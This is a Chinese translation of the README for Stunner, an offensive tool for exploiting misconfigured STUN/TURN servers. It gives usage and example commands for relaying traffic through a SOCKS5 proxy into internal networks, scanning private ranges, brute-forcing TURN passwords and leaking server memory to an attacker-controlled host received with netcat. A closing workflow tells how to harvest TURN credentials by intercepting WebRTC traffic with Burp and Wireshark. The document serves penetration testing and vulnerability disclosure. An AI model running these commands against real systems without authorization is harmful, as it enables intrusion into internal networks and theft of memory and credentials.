Stunner 是一个用于测试和利用 STUN、TURN 以及基于 TCP 的 TURN 服务器的工具。 TURN 是一种主要用于视频会议和音频聊天(WebRTC)的协议。
如果你发现一个配置错误的服务器,你可以使用此工具打开一个本地 SOCKS 代理,该代理通过 TURN 协议将所有流量中继到服务器背后的内部网络中。
我在测试 Cisco Expressway 期间开发了这个工具,并发现了一些漏洞:https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
要获取所需的用户名和密码,你需要使用带外方法(例如用 Burp 嗅探来自 Web 浏览器的 Connect 请求)来获取它们。我在自述文件底部添加了一个示例工作流程,说明如何测试这样的服务器。
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。要查看本许可协议副本,请访问 http://creativecommons.org/licenses/by-nc-sa/4.0/,或致信 Creative Commons, PO Box 1866, Mountain View, CA 94042, USA。
STUN:RFC 5389
TURN:RFC 5766
基于 TCP 的 TURN:RFC 6062
TURN 扩展 IPv6:RFC 6156
此命令将打印有关 STUN 或 TURN 服务器的一些信息,例如支持的协议和属性(如所使用的软件)。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
此命令会尝试多个私有和受限范围,以检查 TURN 服务器是否配置为允许连接到指定的 IP 地址。如果某个特定范围未被禁止,你可以使用其他提供的命令进一步枚举该范围。如果某个 IP 可达,则意味着 TURN 服务器会将流量转发到此 IP。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
基于 TCP 的 TURN 连接(你与 TURN 服务器之间的连接):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
基于 UDP 的 TURN 连接(你与 TURN 服务器之间的连接):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
这是对于支持 TCP 连接到后端服务器的 TURN 服务器最有用的命令之一。它将启动一个本地无认证的 SOCKS5 服务器,并通过 TURN 协议中继所有 TCP 流量(目前不支持通过 SOCKS 传输 UDP)。如果服务器配置错误,它会将流量转发到内部地址,因此可用于访问内部系统,并将服务器滥用为内部网络的代理。如果你还选择通过 SOCKS 进行 DNS 查询,则查询将使用你本地名称服务器进行解析,因此最好使用私有 IPv4 和 IPv6 地址。请注意,此模块仅能中继 TCP 流量。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
启动代理后,打开浏览器,将代理设置指向 SOCKS5,地址为 127.0.0.1:1080(确保不要勾选“绕过本地地址”选项,因为我们希望访问远程本地地址),然后在浏览器中输入你选择的 IP 地址。
示例:https://127.0.0.1、https://127.0.0.1:8443 或 https://[::1]:8443(这些操作将从本地接口调用被测试 TURN 服务器上的端口)。
你也可以配置 proxychains 来使用此代理(但由于每个请求会产生多次代理启用请求,速度会很慢)。只需编辑 /etc/proxychains.conf,在 ProxyList 下输入 socks5 127.0.0.1 1080。
通过正确配置的 proxychains 对此 SOCKS5 代理进行 nmap 扫描的示例(注意使用 -sT 进行 TCP 同步扫描,否则不会使用 SOCKS5 代理):
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
此命令很可能不会产生可用信息,但可用于枚举服务器支持的所有可用传输方式(即连接到内部系统的协议)。这可能会显示一些自定义协议实现,但大多数情况下只返回默认值。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
此命令会针对一个用户名,尝试从给定文件中读取所有密码,并通过 TURN 协议(UDP)进行测试。这在分析 pcap 时可能有用——你可以在 pcap 中看到用户名但看不到密码。 请注意,在这种情况下离线暴力破解速度要快得多。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
这种攻击方式如下:
服务器将要发送给 target 的数据(大多数情况下必须是大于 1024 的高端口)作为 TLV(类型-长度-值)处理。此漏洞利用一个大长度值配合短值。如果服务器不检查 TLV 的边界,它可能会将 length 长度的内存内容发送到 target。Cisco Expressway 被确认存在此漏洞,但根据思科的说法,它只会泄露当前会话的内存。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
要接收数据,我们需要在一台具有公网 IP 的服务器上设置接收端。通常防火墙只允许 TURN 服务器的高端口(>1024)通信,因此在此示例中,当连接到互联网时,请务必使用像 8080 这样的高端口。
sudo nc -u -l -n -v -p 8080 | hexdump -C
然后在你的机器上执行以下语句,将公网 IP 添加到 t 参数中:
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
如果攻击成功,你应该会看到大量内存数据传入,否则只会看到一些短消息。
如果 TURN 服务器允许 UDP 连接到内部目标,此扫描器可用于扫描所有私有 IP 范围,并向它们发送 SNMP 和 DNS 请求。由于这需要检查大量 IP,可能需要数天才能完成,因此请谨慎使用,或通过参数指定较小的目标。你需要提供一个要尝试的 SNMP 团体字符串,以及一个将在每个 IP 上解析的域名。例如,你可以使用 Burp Collaborator 作为域名。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
与 udp-scanner 相同,但向指定端口发送 HTTP 请求(不支持 HTTPS)。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
假设你发现一个使用 WebRTC 的服务,并想要测试它。
第一步是获取所需的数据。建议在后台启动 Wireshark,并通过 Burp 加入一个会议,以收集所有 HTTP 和 WebSocket 流量。然后在 Burp 历史中搜索与 TURN 相关的关键词,例如 3478、password、credential 和 username(确保也检查 WebSocket 标签页中这些关键词)。这可能会揭示 TURN 服务器、协议(UDP 和 TCP 端点可能使用不同端口)以及用于连接的凭据。如果在 Burp 中找不到数据,则开始查看 Wireshark 以识别流量。如果流量使用非标准端口(不是 3478),在 Wireshark 中通过右键将协议解码为 STUN。这样应该会显示用于连接的用户名,你可以利用此信息进一步搜索 Burp 的历史记录以找到所需数据。请注意,Wireshark 无法显示密码,因为密码用于对某些包内容进行哈希,无法逆向还原。
下一步是使用从 Burp 获取的正确端口和协议,向 TURN 服务器发出 info 命令。
如果成功,下一步是进行 range-scan。如果这允许任何流量到达内部系统,你可以进一步利用,但请注意 UDP 只有有限的用例。
如果允许 TCP 连接到内部系统,只需执行 socks 命令,然后通过浏览器访问允许的 IP,并将 SOCKS 代理设置为 127.0.0.1:1080。你可以尝试 127.0.0.1:443 等 IP 来寻找管理接口。